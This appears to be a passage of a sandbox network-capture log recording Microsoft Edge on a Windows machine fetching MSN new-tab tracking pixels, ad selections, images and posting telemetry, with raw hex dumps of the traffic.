2024-11-13 17:08:34 UTC	1175	OUT	GET /c.gif?rnd=1731517712827&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=db7b6e0258744201a330fb48c2848d25&activityId=db7b6e0258744201a330fb48c2848d25&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=28116A1F6C666513052C7F296D6E64D8; _EDGE_S=F=1&SID=1DB41BD73271677812FD0EE1333B664C; _EDGE_V=1
2024-11-13 17:08:34 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1731517712827&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=db7b6e0258744201a330fb48c2848d25&activityId=db7b6e0258744201a330fb48c2848d25&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=D8E4A8225B6E42EF8B1C08DAA22D784F&RedC=c.msn.com&MXFR=28116A1F6C666513052C7F296D6E64D8 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=28116A1F6C666513052C7F296D6E64D8; domain=.msn.com; expires=Mon, 08-Dec-2025 17:08:34 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Wed, 13 Nov 2024 17:08:33 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.6	49922	20.96.153.111	443	2788	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:34 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=28116A1F6C666513052C7F296D6E64D8&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=09e5d15234f440a8a3fae90c39a76de2 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=28116A1F6C666513052C7F296D6E64D8; _EDGE_S=F=1&SID=1DB41BD73271677812FD0EE1333B664C; _EDGE_V=1
2024-11-13 17:08:34 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 13 Nov 2024 17:08:33 GMT Connection: close
2024-11-13 17:08:34 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.6	49928	23.47.50.136	443	2788	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:34 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyCI.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-13 17:08:34 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyCI Last-Modified: Wed, 06 Nov 2024 03:55:40 GMT X-Source-Length: 88779 X-Datacenter: eastus X-ActivityId: e4244956-8f9e-460e-a202-f79357285e3f Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 88779 Cache-Control: public, max-age=168444 Expires: Fri, 15 Nov 2024 15:55:58 GMT Date: Wed, 13 Nov 2024 17:08:34 GMT Connection: close
2024-11-13 17:08:34 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-13 17:08:34 UTC	16384	IN	Data Raw: b0 09 f5 8e df aa 22 40 99 a5 84 a6 d0 dc d0 e7 40 a9 20 4e 14 00 c7 04 e3 82 46 94 fd 77 a0 c0 12 6d 1d f1 e6 93 81 06 08 82 35 a8 e8 7a ad 38 ab 10 3f 8c d7 18 9f 78 a2 87 31 d7 d1 4c 92 11 62 7d f9 a9 ca 45 90 26 91 62 ef 90 bd a6 3b c8 48 01 37 b0 57 94 4c 36 fc 60 7d 14 9c ce 32 49 3a 92 83 10 db c5 80 8b 13 7f 21 dd 16 55 b8 73 65 96 b5 b0 d0 20 08 9e a7 12 4e 24 a4 e2 4f 58 b0 e0 a6 10 2b d3 0d 3d 52 24 90 01 24 c5 2b 61 d1 52 ca 09 89 12 94 22 42 48 24 df 45 2a e1 68 54 44 2c a9 24 12 9a c9 c2 a3 29 54 b7 04 12 2c 91 57 09 42 22 56 4d 30 4b 4c 8f 7d e8 89 4c 01 89 8b 71 e5 64 5d bd a7 ee 92 1b 16 19 8c 90 d0 06 b2 48 08 50 81 2c 9a 70 83 16 90 d0 60 c1 35 d5 21 d1 52 70 8a 9c b6 99 bc d1 4a 24 25 08 06 9e 53 26 70 ad 11 43 4b 81 22 2c 2f 70 3b a6 Data Ascii: "@@ NFwm5z8?x1Lb}E&b;H7WL6`}2I:!Use N$OX+=R$$+aR"BH$E*hTD,$)T,WB"VM0KL}Lqd]HP,p`5!RpJ$%S&pCK",/p;
2024-11-13 17:08:34 UTC	1570	IN	Data Raw: 96 11 2e d6 30 3d 6a b3 40 69 c1 c2 20 48 a4 f4 9a e8 88 c0 5e 40 11 26 d8 49 be a6 c1 13 26 18 dc 18 13 1c f1 95 47 38 9d 07 14 51 70 06 63 63 6d 24 d5 3c a1 b7 82 a9 a0 93 f1 05 c6 44 46 b3 c2 49 d0 22 0e 1d 9b 71 c5 f0 e8 69 a0 ca 0f 4c 22 09 bc 57 04 48 8f b8 45 0c 63 a8 3f a5 ca 73 67 82 1d 37 cd 3a de 67 d7 aa 30 c1 a6 b6 37 0b 51 1d 06 6c 73 4e 26 b8 f5 3d c8 d9 f0 c0 9d 6a a6 60 19 8b 88 9b cc 70 9e fb 20 67 b6 59 b0 92 30 2b 43 b8 16 8a 56 f5 a2 63 72 2c 46 3e 58 2e 40 fc b8 83 c7 02 8d 23 9d 8f 45 74 74 92 f7 bb 59 33 61 79 e2 6f e8 b5 dc e0 5c 49 20 dc bb a0 d4 f6 60 a1 ae 10 64 90 e2 2d d7 99 36 41 cc 41 20 fb eb 2a 2c 13 3d fb 54 b9 f9 9c 20 7c a8 20 1f da d9 81 6d b8 c4 c2 f3 77 de 6f 51 33 69 c3 8f 05 8a ae 9d dd d6 e5 80 66 46 38 6b 0b 83 Data Ascii: .0=j@i H^@&I&G8Qpccm$<DFI"qiL"WHEc?sg7:g07QlsN&=j`p gY0+CVcr,F>X.@#EttY3ayo\I `d-6AA *,=T \| mwoQ3ifF8k
2024-11-13 17:08:35 UTC	16384	IN	Data Raw: c7 77 6f 55 8c 90 d1 33 13 68 16 93 da 52 ca e0 63 1d 05 ff 00 68 24 e9 55 53 f1 8a 45 3d 65 26 ca a3 14 8e 78 f9 a0 9b 68 ad b8 9c b9 80 e3 03 01 31 0a 80 66 ae 9e 02 3b e5 47 da 4d bb 50 51 74 e0 04 63 72 6c a2 3b 51 44 bc 06 cb 1b 94 68 04 e3 73 8f 34 d9 04 c1 6e 63 06 34 16 ad 47 69 01 04 35 a0 4f ca 08 ed e0 7d 50 c8 15 4e e1 61 1c 50 60 e0 26 d8 40 bc 41 d7 55 3c 02 61 b5 b7 a4 22 00 08 35 b0 b5 23 9f a2 22 6d 06 e3 bf dd fb 14 ab 10 14 dc c0 af 44 13 42 94 4f d1 15 a2 08 9b f1 36 e6 52 8f ec 2a 62 0f 08 4c 0d 55 1c 16 c1 50 a0 05 87 6a 24 34 34 c3 af 48 8b 9e b3 87 99 53 16 17 12 7b 11 13 d9 ea 9c 0b 45 ce 38 76 cd fb 15 42 79 62 f3 d8 80 71 48 33 6d 13 70 13 6b f5 22 3b 2e ad 8c 2f 36 20 44 99 24 0a 5f 18 1c 14 d8 fb ed 28 a9 00 1e 38 7b 89 44 a0 Data Ascii: woU3hRch$USE=e&xh1f;GMPQtcrl;QDhs4nc4Gi5O}PNaP`&@AU<a"5#"mDBO6R*bLUPj$44HS{E8vBybqH3mpk";./6 D$_(8{D
2024-11-13 17:08:35 UTC	16384	IN	Data Raw: b0 0d 20 81 1a e2 ba 0b 43 60 38 10 40 96 cd a3 1b 7d 57 16 e6 e1 87 50 93 72 48 04 db 10 62 dd 54 47 13 9d 79 88 bc e9 e5 87 08 5d 4c 1f 9c 38 06 80 e3 25 a0 03 26 3f 88 19 bb 4c 94 02 f9 20 80 06 51 87 99 99 aa 82 1c 74 36 c6 a1 07 3b c3 98 e8 87 32 45 0d 8c 77 53 cd 53 46 73 77 65 b1 b9 04 cf 4f 8e 27 ad 95 65 05 df 22 79 56 38 2b 0c 0f 3f 0b 74 27 e5 6c 6c 23 82 c8 98 20 09 8b 8a 7b 33 29 3a 30 19 6d c8 f5 b9 2b a0 b9 ac 19 61 ae 06 09 b8 0e 23 a3 b0 ee 40 f8 4d 0b 41 3c 63 85 ae 82 03 48 34 95 e8 6d 3d b1 95 c3 2c 83 7b 99 27 a4 7b d5 01 b7 3d 0a 20 db 2e 27 1d 24 80 3b 61 51 6f f8 1a 92 47 41 1d 84 a1 b7 7b 74 ba 5a e7 34 de e1 c4 48 3c 20 ae a6 6c ed 86 99 71 98 11 ea 20 03 5c 24 85 b2 6d de 46 58 a0 ac f3 b7 92 62 80 04 0b 9f 7c d4 ba 4b aa b3 a4 Data Ascii: C`8@}WPrHbTGy]L8%&?L Qt6;2EwSSFsweO'e"yV8+?t'll# {3):0m+a#@MA<cH4m=,{'{= .'$;aQoGA{tZ4H< lq \$mFXb\|K
2024-11-13 17:08:35 UTC	7952	IN	Data Raw: b7 d3 87 b1 c2 ce 6f 22 0a 38 5f 17 9a bd 0a 20 73 ff 00 c8 81 c4 a7 f9 7f 47 f8 ff 00 6f b0 b7 d7 04 17 f8 8d 9d af b9 e3 80 b9 ee 0b e4 9c 5d 11 25 44 98 aa 7f 97 f4 d4 fe af db da df ff 00 b1 71 31 b4 32 88 fb 8f dd ca 0d 97 94 e7 39 c4 92 49 26 a4 dc 94 3a 2d 55 ca f5 6f 97 59 cc 9e 14 bb fc 2f 8a 77 87 91 19 9a 70 98 ee 5e 6e 66 ca 36 70 12 5c 67 a8 fa 06 7f d8 ed 19 ce d7 30 f7 af 4d ae 0e 6c 83 20 d0 af 8a 3b 80 d4 4a e8 db f1 4f da fb 49 6f 4c 3b 8a e9 3f b3 f2 e7 7f af f0 fb 19 13 63 6e d5 42 e0 9a 79 af 9f d8 ff 00 b1 bc 6e c0 9a 3a 23 be 17 b4 d7 07 09 04 10 68 45 17 69 d4 eb c3 95 e6 c1 c5 aa ac 21 c1 18 61 37 18 2b 13 55 a6 54 44 01 04 5e e4 69 c7 04 a0 4e a3 a2 4a a6 d5 e4 82 9d 26 f6 ec 58 50 f9 1f 34 a0 91 85 a3 10 3b 87 e9 66 83 28 08 04 Data Ascii: o"8_ sGo]%Dq129I&:-UoY/wp^nf6p\g0Ml ;JOIoL;?cnByn:#hEi!a7+UTD^iNJ&XP4;f(
2024-11-13 17:08:35 UTC	14240	IN	Data Raw: 6c 22 10 74 87 32 48 79 22 5b fc 69 d0 11 02 06 a8 44 06 12 0f 22 2c 0f 78 a2 13 8d f3 36 d1 79 ea b3 37 0b a4 9b ea 68 3b e2 aa 03 bf 6d cc 82 41 19 86 66 c8 80 46 a2 70 40 78 0e f7 52 af ee 22 48 3d 09 31 ce 2f d8 a7 6d d0 eb 12 23 ee bc e6 1d 2d 6b 5a e8 05 71 31 7a 92 62 fd 69 78 50 e6 45 46 5e 2a c9 68 27 2f da 7d dd 41 06 09 35 eb 3d ea 00 06 cc c8 ec d3 ae 01 50 63 73 c6 18 57 d5 3c 6d 6e 28 a1 f5 16 3a 92 3c a5 00 1f b6 5a 44 cc 11 69 11 6d 44 f9 a1 9d b9 1a ab 37 75 ab ac fe d7 43 0b 5f 94 38 64 86 c4 b6 49 71 c0 99 74 09 c4 8a 68 a0 e1 83 40 20 68 02 ac a1 d1 7a 6b 36 ea bb 03 43 5c 24 34 ff 00 b4 dc 76 21 b8 44 0a 02 6b 08 02 c2 f6 39 a7 6d c5 a4 13 71 d6 de 4a 1c c2 31 b7 67 24 72 c0 d9 23 e6 dc d1 6b 1e ec 10 dc fc 00 b0 a6 a2 55 51 36 c8 24 Data Ascii: l"t2Hy"[iD",x6y7h;mAfFp@xR"H=1/m#-kZq1zbixPEF^*h'/}A5=PcsW<mn(:<ZDimD7uC_8dIqth@ hzk6C\$4v!Dk9mqJ1g$r#kUQ6$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.6	49927	23.47.50.136	443	2788	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:34 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-13 17:08:34 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL Last-Modified: Sat, 02 Nov 2024 16:15:34 GMT X-Source-Length: 1658 X-Datacenter: eastus X-ActivityId: ea0e57a3-5607-4c33-987a-1fb59e967af8 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 1658 Cache-Control: public, max-age=256125 Expires: Sat, 16 Nov 2024 16:17:19 GMT Date: Wed, 13 Nov 2024 17:08:34 GMT Connection: close
2024-11-13 17:08:34 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.6	49926	23.47.50.136	443	2788	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:34 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-13 17:08:34 UTC	515	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Thu, 07 Nov 2024 01:31:10 GMT X-Datacenter: eastus X-ActivityId: c62b896e-0318-4a4b-9fe6-25e6c1dee8b4 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=246222 Expires: Sat, 16 Nov 2024 13:32:16 GMT Date: Wed, 13 Nov 2024 17:08:34 GMT Connection: close
2024-11-13 17:08:34 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.6	49919	20.189.173.9	443	2788	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:34 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731517712826&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3716 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=28116A1F6C666513052C7F296D6E64D8; _EDGE_S=F=1&SID=1DB41BD73271677812FD0EE1333B664C; _EDGE_V=1
2024-11-13 17:08:34 UTC	3716	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 33 54 31 37 3a 30 38 3a 33 32 2e 38 32 32 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 64 30 34 65 66 35 34 63 2d 31 39 33 64 2d 34 66 34 32 2d 62 32 37 39 2d 37 63 39 32 38 65 38 38 64 63 63 30 22 2c 22 65 70 6f 63 68 22 3a 22 38 30 30 39 36 34 37 33 35 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 22 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-13T17:08:32.822Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"d04ef54c-193d-4f42-b279-7c928e88dcc0","epoch":"800964735"},"app":{"locale"
2024-11-13 17:08:35 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=c24e1886bc584dcf89f8b8a4ac3c1c8b&HASH=c24e&LV=202411&V=4&LU=1731517715392; Domain=.microsoft.com; Expires=Thu, 13 Nov 2025 17:08:35 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=b17fdd1e824140798c8aae22a7b9f33b; Domain=.microsoft.com; Expires=Wed, 13 Nov 2024 17:38:35 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2566 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 13 Nov 2024 17:08:34 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.6	49924	23.47.50.136	443	2788	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
